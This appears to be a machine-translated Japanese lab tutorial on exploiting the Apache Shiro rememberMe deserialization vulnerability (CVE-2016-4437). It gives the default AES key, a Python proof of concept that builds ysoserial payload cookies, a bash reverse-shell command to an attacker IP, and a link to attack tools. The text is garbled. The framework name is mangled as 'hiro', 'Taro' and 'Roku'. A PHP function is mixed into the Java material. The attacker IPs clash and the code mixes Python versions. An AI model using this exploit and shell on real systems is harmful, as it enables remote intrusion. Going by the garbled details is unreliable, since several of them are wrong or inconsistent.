1. hiro フレームワークの紹介:
Apache Taro は、認証、認可、暗号化、セッション管理に使用できる強力で使いやすい Java セキュリティ フレームワークです。rememberMe の AES 暗号化キーが漏洩する限り、それが hiro のどのバージョンであっても、デシリアライゼーションの脆弱性が発生します。Taro のわかりやすい API を使用すると、最小のモバイル アプリから最大の Web アプリやエンタープライズ アプリまで、あらゆるアプリを迅速かつ簡単に取得できます。
2. シロ脆弱性の原則:
Apache Roku フレームワークは、私を記憶する機能 (RemeberMe) を提供しており、ユーザーがログインに成功すると、暗号化およびエンコードされた Cookie が生成されます。Cookie のキーは RemeberMe で、Cookie の値は関連情報をシリアル化し、aes で暗号化し、最後に Base64 でエンコードすることによって形成されます。
サーバー側で Cookie 値を受信したら、次の手順に従って解析します。
RemeberMe Cookie の値を取得します。
Base64デコード
ACE を使用して復号化します (暗号化キーはハードコードされています)
逆シリアル化を実行します (フィルタリングなし)
逆シリアル化を呼び出すときにフィルタリングが実行されないため、リモートでコードが実行される脆弱性が引き起こされる可能性があります。
ユーザーがログインに成功すると、暗号化およびエンコードされた Cookie が生成され、サーバー側で Cookie の値を受信した後、Base64 デコード --> AES 復号 --> 逆シリアル化が行われます。
したがって、攻撃者は AES 暗号化キーを見つけさえすれば、悪意のあるオブジェクトを作成し、シリアル化 --> AES 暗号化 --> Base64 エンコードして、Cookie の rememberMe フィールドとして送信することができます。 rememberMe そして逆シリアル化、最終的には逆シリアル化の脆弱性が生じます。
3.しろシリアル利用条件
AES暗号化を使用しているため、この脆弱性を悪用するにはAES暗号化キーを取得する必要がありますが、hiro1.2.4より前のバージョンではハードコーディングされており、コード内にAES暗号化キーが含まれています。デフォルトでは。デフォルトのキーの Base64 エンコード値は kPH+bIxk5D2deZiIxcaaaA== です。ここで、悪意のあるシリアル化されたオブジェクトを構築して、エンコード、暗号化、暗号化して Cookie として送信できます。受信後、サーバーはそれを復号化してトリガーします。逆シリアル化の脆弱性。
現在、多くのバージョンが更新されていますが、公式はデシリアライゼーションの脆弱性自体を解決したのではなく、ハードコーディングされたキーを削除し、毎回キーを生成させることで脆弱性を解決しました。ただし、現時点では、一部のオープンソース システムやチュートリアルのサンプル コードでは固定コードが使用されており、多くのオープンソース プロジェクトでは hiro を内部的に統合して二次開発用に開発しているため、下位バージョンの hiro のデフォルトの固定キーのリスクが再現される可能性があります。たとえば、Shiro は二次開発用に Guns オープンソース フレームワークに統合されており、作成者がキーをカスタマイズして修正しますが、このときユーザーがキーを変更しなければ、Shiro のバージョンがアップグレードされても、キーを修理する危険性があります。ここでは、検索エンジンや github を通じてキーを収集し、脆弱性の検出と利用の成功率を向上させることができます。
逆シリアル化されたオブジェクトにマジック関数がある場合は、unserialize() 関数を使用するとそれもトリガーされます。このようにして、 unserialize() エントリを制御できるようになると、オブジェクト インジェクションの脆弱性が発生する可能性があります。
4.Shiro 脆弱性フィンガープリント
要求パケットの Cookie の rememberMe フィールドに任意の値を割り当て、戻りパケットに set-Cookie が存在します: rememberMe=deleteMe
URLにしろとあります
場合によっては、サーバーが率先して rememberMe=deleteMe を返さず、パッケージを直接送信するだけである場合があります。
5. 射撃場の建設
Docker を備えた仮想マシンを準備する必要があります。この仮想マシンがターゲット マシンであり、Docker を使用して vulhub 射撃場をプルします。例として、vulhub 射撃場の CVE-2016-4437 脆弱性を取り上げます。 、docker インストール チュートリアルと範囲プル チュートリアル: Vulhub - 脆弱性環境用の Docker-Compose ファイル
6. 脆弱性攻撃
- hiro デシリアライゼーション ツールを使用して、主要な攻撃を見つけることができます。
- poc を自分で構築することも、インターネットで poc を検索することもできます。ツールは記事の最後に添付されています。まず、
Python 環境をインストールします。この poc スクリプトには、自分でインストールする必要がある 2 つのサードパーティ ライブラリが含まれています。pip installrequests pip install -ihttps://pypi.douban.com/simplepycryptodome
インストールが完了したら、poc を使用して悪意のあるペイロードを構築できます。
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar','JRMPClient', command], stdout=subprocess.PIPE) //这里使用了ysoserial工具包,它**了各种java反序列化payload,主要有CommonsCollections1-5、JRMPClient等模块 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print"rememberMe={0}".format(payload.decode())
ターゲットIP: 192.168.23.168
攻撃IP: 192.168.23.193
bash -i>& /dev/tcp/192.168.99.174/2333 0>&1
Java 環境はパイプ文字、入出力リダイレクトなどをサポートしていないため、bash を使用して Java ランタイムを通じて事前にコーディングする必要があります。
-
ここでは、JRMPClient モジュールを使用して、悪意のあるコマンド用の Cookie を構築します。
-
攻撃マシンのポート 2333 をリッスンします。
-
リバウンド シェルが処理されてターゲット マシンに送信された後、ここで CommonsCollections2 モジュールを使用する必要があります。
-
ターゲット Web サイトがパッケージをキャプチャした後、上記で生成された悪意のある Cookie 値を rememberMe に置き換えて、パッケージをリリースします。
-
攻撃しているマシンを確認すると、砲弾が取得されています。
7. 参考ツールと文献
リンク: https://pan.baidu.com/s/1nCdPc0RarG9YZIVb_a-E9w
抽出コード:hn6o
8. 免責事項
記事に含まれる手順 (方法) は不快な可能性があり、セキュリティの研究と教育にのみ使用されます。読者が自分の情報を他の目的に使用する場合、ユーザーはすべての法的および連帯責任を負うものとし、記事の作成者は一切の法的責任および連帯責任を負うものとします。法的責任および連帯責任を負います。